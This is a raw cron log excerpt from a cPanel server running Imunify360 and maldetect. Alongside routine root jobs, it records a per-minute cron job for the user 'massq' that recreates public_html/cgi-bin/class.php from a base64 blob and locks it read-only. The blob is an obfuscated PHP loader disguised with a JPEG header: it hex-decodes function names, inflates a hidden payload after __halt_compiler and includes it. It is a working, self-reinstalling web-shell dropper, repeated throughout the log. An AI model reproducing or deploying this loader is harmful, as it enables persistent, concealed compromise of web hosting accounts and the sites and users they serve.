Sep 11 08:44:01 server CROND[11090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:44:01 server CROND[11091]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:44:01 server CROND[11089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:45:01 server CROND[11483]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 08:45:01 server CROND[11484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:45:01 server CROND[11489]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:45:01 server CROND[11494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:45:01 server CROND[11493]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 08:45:01 server CROND[11492]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:45:01 server CROND[11497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:46:01 server CROND[12318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:46:01 server CROND[12319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:46:01 server CROND[12320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:47:01 server CROND[12726]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:47:01 server CROND[12727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:47:01 server CROND[12728]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:48:01 server CROND[13116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:48:01 server CROND[13117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:48:01 server CROND[13118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:49:01 server CROND[13591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:49:01 server CROND[13593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:49:01 server CROND[13592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:50:01 server CROND[13996]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 08:50:01 server CROND[14000]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 08:50:01 server CROND[14004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:50:01 server CROND[14001]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:50:01 server CROND[14003]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 08:50:01 server CROND[14002]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 08:50:01 server CROND[14005]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:50:01 server CROND[14010]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:50:01 server CROND[14006]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:51:01 server CROND[14857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:51:01 server CROND[14858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:51:01 server CROND[14859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:52:01 server CROND[15244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:52:01 server CROND[15243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:52:01 server CROND[15242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:53:01 server CROND[15618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:53:01 server CROND[15620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:53:01 server CROND[15619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:54:01 server CROND[16104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:54:01 server CROND[16105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:54:01 server CROND[16106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:55:01 server CROND[16499]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 08:55:01 server CROND[16505]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:55:01 server CROND[16507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:55:01 server CROND[16510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:55:01 server CROND[16511]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 08:55:01 server CROND[16512]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 08:55:01 server CROND[16508]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
